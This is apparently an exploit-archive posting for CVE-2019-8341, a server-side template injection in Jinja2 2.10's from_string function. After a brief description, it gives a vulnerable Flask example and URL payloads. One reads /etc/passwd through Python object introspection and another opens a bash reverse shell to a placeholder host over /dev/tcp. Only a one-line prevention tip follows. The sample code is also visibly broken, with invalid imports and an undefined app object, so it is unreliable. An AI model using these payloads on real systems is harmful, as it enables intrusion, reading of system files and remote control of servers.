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Jinja2 2.10 Command Injection

Jinja2 2.10 Command Injection
Posted Feb 16, 2019
Authored by Jameel Nabbo

Jinja2 version 2.10 suffers from a command injection vulnerability.

tags | exploit
advisories | CVE-2019-8341
SHA-256 | 6dd45eb90ed48901cbcaab10d52937cb60f23104bcc82f69ffc637659118e4c9

Jinja2 2.10 Command Injection

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'''
# Exploit Title: Jinja2 Command injection from_string function
# Date: [date]
# Exploit Author: JameelNabbo
# Website: Ordina.nl
# Vendor Homepage: http://jinja.pocoo.org
# Software Link: https://pypi.org/project/Jinja2/#files
# Version: 2.10
# Tested on: Kali Linux
# CVE-2019-8341


// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.


//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
'''

import Flask
import request
import Jinja2


@app.route("/")
def index():
username = request.values.get('username')
return Jinja2.from_string('Hello ' + username).render()


if __name__ == "__main__":
app.run(host='127.0.0.1' , port=4444)

'''
POC
//Exploiting the username param
http://localhost:4444/?username={{4*4}}
OUTPUT: Hello 16

Reading the /etc/passwd

http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}


Getting a reverse shell
http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}


How to prevent it:
Never let the user provide template content.
'''
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